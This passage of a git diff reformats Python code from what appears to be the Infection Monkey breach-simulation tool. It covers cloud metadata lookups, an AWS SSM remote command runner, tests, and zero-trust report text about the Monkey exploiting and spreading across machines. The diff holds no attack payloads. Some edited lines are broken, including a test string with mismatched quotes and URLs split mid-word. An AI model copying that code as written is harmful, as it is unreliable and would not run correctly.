r"((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])" finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) @@ -79,9 +80,11 @@ def get_region(self): def _extract_account_id(instance_identity_document_response): """ Extracts the account id from the dynamic/instance-identity/document metadata path. - Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more solutions, + Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more + solutions, in case Amazon break this mechanism. - :param instance_identity_document_response: json returned via the web page ../dynamic/instance-identity/document + :param instance_identity_document_response: json returned via the web page + ../dynamic/instance-identity/document :return: The account id """ return json.loads(instance_identity_document_response)[ACCOUNT_ID_KEY] diff --git a/monkey/common/cloud/aws/aws_service.py b/monkey/common/cloud/aws/aws_service.py index 0825811a984..189d77336d1 100644 --- a/monkey/common/cloud/aws/aws_service.py +++ b/monkey/common/cloud/aws/aws_service.py @@ -20,10 +20,10 @@ def filter_instance_data_from_aws_response(response): return [ { - "instance_id": x[INSTANCE_ID_KEY], - "name": x[COMPUTER_NAME_KEY], - "os": x[PLATFORM_TYPE_KEY].lower(), - "ip_address": x[IP_ADDRESS_KEY], + "instance_id":x[INSTANCE_ID_KEY], + "name":x[COMPUTER_NAME_KEY], + "os":x[PLATFORM_TYPE_KEY].lower(), + "ip_address":x[IP_ADDRESS_KEY], } for x in response[INSTANCE_INFORMATION_LIST_KEY] ] @@ -31,12 +31,14 @@ def filter_instance_data_from_aws_response(response): class AwsService(object): """ - A wrapper class around the boto3 client and session modules, which supplies various AWS services. + A wrapper class around the boto3 client and session modules, which supplies various AWS + services. This class will assume: 1. That it's running on an EC2 instance 2. That the instance is associated with the correct IAM role. See - https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details. + https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role + for details. """ region = None @@ -48,7 +50,7 @@ def set_region(region): @staticmethod def get_client(client_type, region=None): return boto3.client( - client_type, region_name=region if region is not None else AwsService.region + client_type, region_name=region if region is not None else AwsService.region ) @staticmethod @@ -73,7 +75,8 @@ def get_instances(): Get the information for all instances with the relevant roles. This function will assume that it's running on an EC2 instance with the correct IAM role. - See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details. + See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam + -role for details. :raises: botocore.exceptions.ClientError if can't describe local instance information. :return: All visible instances from this instance diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py index d3c89f06778..88b392d58ab 100644 --- a/monkey/common/cloud/aws/test_aws_instance.py +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -30,7 +30,6 @@ } """ - EXPECTED_INSTANCE_ID = "i-1234567890abcdef0" EXPECTED_REGION = "us-west-2" @@ -39,14 +38,14 @@ def get_test_aws_instance( - text={"instance_id": None, "region": None, "account_id": None}, - exception={"instance_id": None, "region": None, "account_id": None}, + text={"instance_id":None, "region":None, "account_id":None}, + exception={"instance_id":None, "region":None, "account_id":None}, ): with requests_mock.Mocker() as m: # request made to get instance_id url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id" m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get( - url, exc=exception["instance_id"] + url, exc=exception["instance_id"] ) # request made to get region @@ -56,7 +55,7 @@ def get_test_aws_instance( # request made to get account_id url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document" m.get(url, text=text["account_id"]) if text["account_id"] else m.get( - url, exc=exception["account_id"] + url, exc=exception["account_id"] ) test_aws_instance_object = AwsInstance() @@ -67,11 +66,11 @@ def get_test_aws_instance( @pytest.fixture def good_data_mock_instance(): return get_test_aws_instance( - text={ - "instance_id": INSTANCE_ID_RESPONSE, - "region": AVAILABILITY_ZONE_RESPONSE, - "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - } + text={ + "instance_id":INSTANCE_ID_RESPONSE, + "region":AVAILABILITY_ZONE_RESPONSE, + "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } ) @@ -99,11 +98,11 @@ def test_get_account_id_good_data(good_data_mock_instance): @pytest.fixture def bad_region_data_mock_instance(): return get_test_aws_instance( - text={ - "instance_id": INSTANCE_ID_RESPONSE, - "region": "in-a-different-world", - "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - } + text={ + "instance_id":INSTANCE_ID_RESPONSE, + "region":"in-a-different-world", + "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } ) @@ -131,11 +130,11 @@ def test_get_account_id_bad_region_data(bad_region_data_mock_instance): @pytest.fixture def bad_account_id_data_mock_instance(): return get_test_aws_instance( - text={ - "instance_id": INSTANCE_ID_RESPONSE, - "region": AVAILABILITY_ZONE_RESPONSE, - "account_id": "who-am-i", - } + text={ + "instance_id":INSTANCE_ID_RESPONSE, + "region":AVAILABILITY_ZONE_RESPONSE, + "account_id":"who-am-i", + } ) @@ -163,12 +162,12 @@ def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instan @pytest.fixture def bad_instance_id_request_mock_instance(instance_id_exception): return get_test_aws_instance( - text={ - "instance_id": None, - "region": AVAILABILITY_ZONE_RESPONSE, - "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - }, - exception={"instance_id": instance_id_exception, "region": None, "account_id": None}, + text={ + "instance_id":None, + "region":AVAILABILITY_ZONE_RESPONSE, + "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id":instance_id_exception, "region":None, "account_id":None}, ) @@ -201,12 +200,12 @@ def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_ins @pytest.fixture def bad_region_request_mock_instance(region_exception): return get_test_aws_instance( - text={ - "instance_id": INSTANCE_ID_RESPONSE, - "region": None, - "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - }, - exception={"instance_id": None, "region": region_exception, "account_id": None}, + text={ + "instance_id":INSTANCE_ID_RESPONSE, + "region":None, + "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id":None, "region":region_exception, "account_id":None}, ) @@ -239,12 +238,12 @@ def test_get_account_id_bad_region_request(bad_region_request_mock_instance): @pytest.fixture def bad_account_id_request_mock_instance(account_id_exception): return get_test_aws_instance( - text={ - "instance_id": INSTANCE_ID_RESPONSE, - "region": AVAILABILITY_ZONE_RESPONSE, - "account_id": None, - }, - exception={"instance_id": None, "region": None, "account_id": account_id_exception}, + text={ + "instance_id":INSTANCE_ID_RESPONSE, + "region":AVAILABILITY_ZONE_RESPONSE, + "account_id":None, + }, + exception={"instance_id":None, "region":None, "account_id":account_id_exception}, ) diff --git a/monkey/common/cloud/aws/test_aws_service.py b/monkey/common/cloud/aws/test_aws_service.py index 8b17d707dc3..d9ce32a5709 100644 --- a/monkey/common/cloud/aws/test_aws_service.py +++ b/monkey/common/cloud/aws/test_aws_service.py @@ -50,9 +50,9 @@ def test_filter_instance_data_from_aws_response(self): """ self.assertEqual( - filter_instance_data_from_aws_response(json.loads(json_response_empty)), [] + filter_instance_data_from_aws_response(json.loads(json_response_empty)), [] ) self.assertEqual( - filter_instance_data_from_aws_response(json.loads(json_response_full)), - [{"instance_id": "string", "ip_address": "string", "name": "string", "os": "string"}], + filter_instance_data_from_aws_response(json.loads(json_response_full)), + [{"instance_id":"string", "ip_address":"string", "name":"string", "os":"string"}], ) diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index 186ce3c9d75..289e6b9420e 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -9,7 +9,8 @@ LATEST_AZURE_METADATA_API_VERSION = "2019-04-30" AZURE_METADATA_SERVICE_URL = ( - "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION + "http://169.254.169.254/metadata/instance?api-version=%s" % + LATEST_AZURE_METADATA_API_VERSION ) logger = logging.getLogger(__name__) @@ -18,7 +19,8 @@ class AzureInstance(CloudInstance): """ Access to useful information about the current machine if it's an Azure VM. - Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service + Based on Azure metadata service: + https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service """ def is_instance(self): @@ -38,13 +40,14 @@ def __init__(self): try: response = requests.get( - AZURE_METADATA_SERVICE_URL, - headers={"Metadata": "true"}, - timeout=SHORT_REQUEST_TIMEOUT, + AZURE_METADATA_SERVICE_URL, + headers={"Metadata":"true"}, + timeout=SHORT_REQUEST_TIMEOUT, ) # If not on cloud, the metadata URL is non-routable and the connection will fail. - # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. + # If on AWS, should get 404 since the metadata service URL is different, + # so bool(response) will be false. if response: logger.debug("Trying to parse Azure metadata.") self.try_parse_response(response) @@ -52,7 +55,8 @@ def __init__(self): logger.warning(f"Metadata response not ok: {response.status_code}") except requests.RequestException: logger.debug( - "Failed to get response from Azure metadata service: This instance is not on Azure." + "Failed to get response from Azure metadata service: This instance is not on " + "Azure." ) def try_parse_response(self, response): diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py index fb1e01abb66..10e372c0588 100644 --- a/monkey/common/cloud/azure/test_azure_instance.py +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -7,108 +7,113 @@ from common.cloud.environment_names import Environment GOOD_DATA = { - "compute": { - "azEnvironment": "AZUREPUBLICCLOUD", - "isHostCompatibilityLayerVm": "true", - "licenseType": "Windows_Client", - "location": "westus", - "name": "examplevmname", - "offer": "Windows", - "osProfile": { - "adminUsername": "admin", - "computerName": "examplevmname", - "disablePasswordAuthentication": "true", + "compute":{ + "azEnvironment":"AZUREPUBLICCLOUD", + "isHostCompatibilityLayerVm":"true", + "licenseType":"Windows_Client", + "location":"westus", + "name":"examplevmname", + "offer":"Windows", + "osProfile":{ + "adminUsername":"admin", + "computerName":"examplevmname", + "disablePasswordAuthentication":"true", }, - "osType": "linux", - "placementGroupId": "f67c14ab-e92c-408c-ae2d-da15866ec79a", - "plan": {"name": "planName", "product": "planProduct", "publisher": "planPublisher"}, - "platformFaultDomain": "36", - "platformUpdateDomain": "42", - "publicKeys": [ - {"keyData": "ssh-rsa 0", "path": "/home/user/.ssh/authorized_keys0"}, - {"keyData": "ssh-rsa 1", "path": "/home/user/.ssh/authorized_keys1"}, + "osType":"linux", + "placementGroupId":"f67c14ab-e92c-408c-ae2d-da15866ec79a", + "plan":{"name":"planName", "product":"planProduct", "publisher":"planPublisher"}, + "platformFaultDomain":"36", + "platformUpdateDomain":"42", + "publicKeys":[ + {"keyData":"ssh-rsa 0", "path":"/home/user/.ssh/authorized_keys0"}, + {"keyData":"ssh-rsa 1", "path":"/home/user/.ssh/authorized_keys1"}, ], - "publisher": "RDFE-Test-Microsoft-Windows-Server-Group", - "resourceGroupName": "macikgo-test-may-23", - "resourceId": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/" - "providers/Microsoft.Compute/virtualMachines/examplevmname", - "securityProfile": {"secureBootEnabled": "true", "virtualTpmEnabled": "false"}, - "sku": "Windows-Server-2012-R2-Datacenter", - "storageProfile": { - "dataDisks": [ + "publisher":"RDFE-Test-Microsoft-Windows-Server-Group", + "resourceGroupName":"macikgo-test-may-23", + "resourceId":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test" + "-may-23/" + "providers/Microsoft.Compute/virtualMachines/examplevmname", + "securityProfile":{"secureBootEnabled":"true", "virtualTpmEnabled":"false"}, + "sku":"Windows-Server-2012-R2-Datacenter", + "storageProfile":{ + "dataDisks":[ { - "caching": "None", - "createOption": "Empty", - "diskSizeGB": "1024", - "image": {"uri": ""}, - "lun": "0", - "managedDisk": { - "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" - "resourceGroups/macikgo-test-may-23/providers/" - "Microsoft.Compute/disks/exampledatadiskname", - "storageAccountType": "Standard_LRS", + "caching":"None", + "createOption":"Empty", + "diskSizeGB":"1024", + "image":{"uri":""}, + "lun":"0", + "managedDisk":{ + "id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampledatadiskname", + "storageAccountType":"Standard_LRS", }, - "name": "exampledatadiskname", - "vhd": {"uri": ""}, - "writeAcceleratorEnabled": "false", + "name":"exampledatadiskname", + "vhd":{"uri":""}, + "writeAcceleratorEnabled":"false", } ], - "imageReference": { - "id": "", - "offer": "UbuntuServer", - "publisher": "Canonical", - "sku": "16.04.0-LTS", - "version": "latest", + "imageReference":{ + "id":"", + "offer":"UbuntuServer", + "publisher":"Canonical", + "sku":"16.04.0-LTS", + "version":"latest", }, - "osDisk": { - "caching": "ReadWrite", - "createOption": "FromImage", - "diskSizeGB": "30", - "diffDiskSettings": {"option": "Local"}, - "encryptionSettings": {"enabled": "false"}, - "image": {"uri": ""}, - "managedDisk": { - "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" - "resourceGroups/macikgo-test-may-23/providers/" - "Microsoft.Compute/disks/exampleosdiskname", - "storageAccountType": "Standard_LRS", + "osDisk":{ + "caching":"ReadWrite", + "createOption":"FromImage", + "diskSizeGB":"30", + "diffDiskSettings":{"option":"Local"}, + "encryptionSettings":{"enabled":"false"}, + "image":{"uri":""}, + "managedDisk":{ + "id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampleosdiskname", + "storageAccountType":"Standard_LRS", }, - "name": "exampleosdiskname", - "osType": "Linux", - "vhd": {"uri": ""}, - "writeAcceleratorEnabled": "false", + "name":"exampleosdiskname", + "osType":"Linux", + "vhd":{"uri":""}, + "writeAcceleratorEnabled":"false", }, }, - "subscriptionId": "xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx", - "tags": "baz:bash;foo:bar", - "version": "15.05.22", - "vmId": "02aab8a4-74ef-476e-8182-f6d2ba4166a6", - "vmScaleSetName": "crpteste9vflji9", - "vmSize": "Standard_A3", - "zone": "", + "subscriptionId":"xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx", + "tags":"baz:bash;foo:bar", + "version":"15.05.22", + "vmId":"02aab8a4-74ef-476e-8182-f6d2ba4166a6", + "vmScaleSetName":"crpteste9vflji9", + "vmSize":"Standard_A3", + "zone":"", }, - "network": { - "interface": [ + "network":{ + "interface":[ { - "ipv4": { - "ipAddress": [{"privateIpAddress": "10.144.133.132", "publicIpAddress": ""}], - "subnet": [{"address": "10.144.133.128", "prefix": "26"}], + "ipv4":{ + "ipAddress":[{"privateIpAddress":"10.144.133.132", "publicIpAddress":""}], + "subnet":[{"address":"10.144.133.128", "prefix":"26"}], }, - "ipv6": {"ipAddress": []}, - "macAddress": "0011AAFFBB22", + "ipv6":{"ipAddress":[]}, + "macAddress":"0011AAFFBB22", } ] }, } - -BAD_DATA_NOT_JSON = '\n\n\n\n\nWaiting...\n\n\n \n\n' - - -BAD_DATA_JSON = {"": ""} +BAD_DATA_NOT_JSON = ( + '\n\n\n\n\nWaiting...\n\n\n " + "\n\n" +) + +BAD_DATA_JSON = {"":""} def get_test_azure_instance(url, **kwargs): diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py index 14e4e554a9a..a2858f70282 100644 --- a/monkey/common/cloud/gcp/gcp_instance.py +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -8,13 +8,13 @@ logger = logging.getLogger(__name__) - GCP_METADATA_SERVICE_URL = "http://metadata.google.internal/" class GcpInstance(CloudInstance): """ - Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce + Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving + -metadata#runninggce """ def is_instance(self): @@ -39,16 +39,16 @@ def __init__(self): else: if not response.headers["Metadata-Flavor"] == "Google": logger.warning( - "Got unexpected Metadata flavor: {}".format( - response.headers["Metadata-Flavor"] - ) + "Got unexpected Metadata flavor: {}".format( + response.headers["Metadata-Flavor"] + ) ) else: logger.warning( - "On GCP, but metadata response not ok: {}".format(response.status_code) + "On GCP, but metadata response not ok: {}".format(response.status_code) ) except requests.RequestException: logger.debug( - "Failed to get response from GCP metadata service: This instance is not on GCP" + "Failed to get response from GCP metadata service: This instance is not on GCP" ) self._on_gcp = False diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py index 1e89115ef3a..37eb3c6dd20 100644 --- a/monkey/common/cmd/aws/aws_cmd_result.py +++ b/monkey/common/cmd/aws/aws_cmd_result.py @@ -10,21 +10,22 @@ class AwsCmdResult(CmdResult): def __init__(self, command_info): super(AwsCmdResult, self).__init__( - self.is_successful(command_info, True), - command_info["ResponseCode"], - command_info["StandardOutputContent"], - command_info["StandardErrorContent"], + self.is_successful(command_info, True), + command_info["ResponseCode"], + command_info["StandardOutputContent"], + command_info["StandardErrorContent"], ) self.command_info = command_info @staticmethod def is_successful(command_info, is_timeout=False): """ - Determines whether the command was successful. If it timed out and was still in progress, we assume it worked. + Determines whether the command was successful. If it timed out and was still in progress, + we assume it worked. :param command_info: Command info struct (returned by ssm.get_command_invocation) :param is_timeout: Whether the given command timed out :return: True if successful, False otherwise. """ return (command_info["Status"] == "Success") or ( - is_timeout and (command_info["Status"] == "InProgress") + is_timeout and (command_info["Status"] == "InProgress") ) diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index 1ccdd104b0a..1b29625cfc8 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -38,8 +38,8 @@ def get_command_status(self, command_info): def run_command_async(self, command_line): doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript" command_res = self.ssm.send_command( - DocumentName=doc_name, - Parameters={"commands": [command_line]}, - InstanceIds=[self.instance_id], + DocumentName=doc_name, + Parameters={"commands":[command_line]}, + InstanceIds=[self.instance_id], ) return command_res["Command"]["CommandId"] diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index 57966d0b58c..bb3f8805a51 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -21,8 +21,10 @@ class CmdRunner(object): * command id - any unique identifier of a command which was already run * command result - represents the result of running a command. Always of type CmdResult * command status - represents the current status of a command. Always of type CmdStatus - * command info - Any consistent structure representing additional information of a command which was already run - * instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field + * command info - Any consistent structure representing additional information of a command + which was already run + * instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' + as a field * instance_id - any unique identifier of an instance (machine). Can be of any format """ @@ -49,7 +51,8 @@ def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res): """ Run multiple commands on various instances :param instances: List of instances. - :param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd + :param inst_to_cmd: Function which receives an instance, runs a command asynchronously + and returns Cmd :param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult and returns a parsed result (of any format) :return: Dictionary with 'instance_id' as key and parsed result as value @@ -92,7 +95,7 @@ def wait_commands(commands, timeout=DEFAULT_TIMEOUT): while (curr_time - init_time < timeout) and (len(commands) != 0): for command in list( - commands + commands ): # list(commands) clones the list. We do so because we remove items inside CmdRunner._process_command(command, commands, results, True) @@ -105,9 +108,9 @@ def wait_commands(commands, timeout=DEFAULT_TIMEOUT): for command, result in results: if not result.is_success: logger.error( - "The following command failed: `%s`. status code: %s", - str(command[1]), - str(result.status_code), + "The following command failed: `%s`. status code: %s", + str(command[1]), + str(result.status_code), ) return results @@ -154,7 +157,7 @@ def _process_command(command, commands, results, should_process_only_finished): try: command_info = c_runner.query_command(c_id) if (not should_process_only_finished) or c_runner.get_command_status( - command_info + command_info ) != CmdStatus.IN_PROGRESS: commands.remove(command) results.append((command, c_runner.get_command_result(command_info))) diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index 539bb726562..ecf870baa3e 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -1,8 +1,10 @@ """ -This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and +This file contains all the static data relating to Zero Trust. It is mostly used in the zero +trust report generation and in creating findings. -This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses. +This file contains static mappings between zero trust components such as: pillars, principles, +tests, statuses. Some of the mappings are computed when this module is loaded. """ @@ -79,17 +81,24 @@ PRINCIPLE_SECURE_AUTHENTICATION = "secure_authentication" PRINCIPLE_MONITORING_AND_LOGGING = "monitoring_and_logging" PRINCIPLES = { - PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.", - PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.", - PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.", - PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint security solutions.", - PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.", - PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.", - PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandatory " - "Access Control) only.", - PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster recovery scenarios.", - PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.", - PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources.", + PRINCIPLE_SEGMENTATION:"Apply segmentation and micro-segmentation inside your " + "" + "" + "network.", + PRINCIPLE_ANALYZE_NETWORK_TRAFFIC:"Analyze network traffic for malicious activity.", + PRINCIPLE_USER_BEHAVIOUR:"Adopt security user behavior analytics.", + PRINCIPLE_ENDPOINT_SECURITY:"Use anti-virus and other traditional endpoint " + "security solutions.", + PRINCIPLE_DATA_CONFIDENTIALITY:"Ensure data's confidentiality by encrypting it.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES:"Configure network policies to be as restrictive as " + "possible.", + PRINCIPLE_USERS_MAC_POLICIES:"Users' permissions to the network and to resources " + "should be MAC (Mandatory " + "Access Control) only.", + PRINCIPLE_DISASTER_RECOVERY:"Ensure data and infrastructure backups for disaster " + "recovery scenarios.", + PRINCIPLE_SECURE_AUTHENTICATION:"Ensure secure authentication process's.", + PRINCIPLE_MONITORING_AND_LOGGING:"Ensure monitoring and logging in network resources.", } POSSIBLE_STATUSES_KEY = "possible_statuses" @@ -98,184 +107,206 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation" TEST_EXPLANATION_KEY = "explanation" TESTS_MAP = { - TEST_SEGMENTATION: { - TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's " - "running on, that belong to different network segments.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", - STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs.", + TEST_SEGMENTATION:{ + TEST_EXPLANATION_KEY:"The Monkey tried to scan and find machines that it can " + "communicate with from the machine it's " + "running on, that belong to different network segments.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"Monkey performed cross-segment communication. Check firewall rules and" + " logs.", + STATUS_PASSED:"Monkey couldn't perform cross-segment communication. If relevant, " + "check firewall logs.", }, - PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, - PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED], + PRINCIPLE_KEY:PRINCIPLE_SEGMENTATION, + PILLARS_KEY:[NETWORKS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED], }, - TEST_MALICIOUS_ACTIVITY_TIMELINE: { - TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting " - "exploitation.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." + TEST_MALICIOUS_ACTIVITY_TIMELINE:{ + TEST_EXPLANATION_KEY:"The Monkeys in the network performed malicious-looking " + "actions, like scanning and attempting " + "exploitation.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_VERIFY:"Monkey performed malicious actions in the network. Check SOC logs and " + "alerts." }, - PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, - PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], + PRINCIPLE_KEY:PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, + PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY], }, - TEST_ENDPOINT_SECURITY_EXISTS: { - TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus " - "software on endpoints.", - STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a " - "security concern. ", + TEST_ENDPOINT_SECURITY_EXISTS:{ + TEST_EXPLANATION_KEY:"The Monkey checked if there is an active process of an " + "endpoint security software.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"Monkey didn't find ANY active endpoint security processes. Install and " + "activate anti-virus " + "software on endpoints.", + STATUS_PASSED:"Monkey found active endpoint security processes. Check their logs to " + "see if Monkey was a " + "security concern. ", }, - PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, - PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY:[DEVICES], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_MACHINE_EXPLOITED: { - TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see " - "which endpoints were compromised.", - STATUS_PASSED: "Monkey didn't manage to exploit an endpoint.", + TEST_MACHINE_EXPLOITED:{ + TEST_EXPLANATION_KEY:"The Monkey tries to exploit machines in order to " + "breach them and propagate in the network.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"Monkey successfully exploited endpoints. Check IDS/IPS logs to see " + "activity recognized and see " + "which endpoints were compromised.", + STATUS_PASSED:"Monkey didn't manage to exploit an endpoint.", }, - PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, - PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY], + PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY:[DEVICES], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY], }, - TEST_SCHEDULED_EXECUTION: { - TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security " - "software.", - STATUS_PASSED: "Monkey failed to execute in a scheduled manner.", + TEST_SCHEDULED_EXECUTION:{ + TEST_EXPLANATION_KEY:"The Monkey was executed in a scheduled manner.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_VERIFY:"Monkey was executed in a scheduled manner. Locate this activity in " + "User-Behavior security " + "software.", + STATUS_PASSED:"Monkey failed to execute in a scheduled manner.", }, - PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, - PILLARS_KEY: [PEOPLE, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], + PRINCIPLE_KEY:PRINCIPLE_USER_BEHAVIOUR, + PILLARS_KEY:[PEOPLE, NETWORKS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY], }, - TEST_DATA_ENDPOINT_ELASTIC: { - TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts " - "that indicate attempts to access them. ", + TEST_DATA_ENDPOINT_ELASTIC:{ + TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to " + "ElasticSearch instances.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + 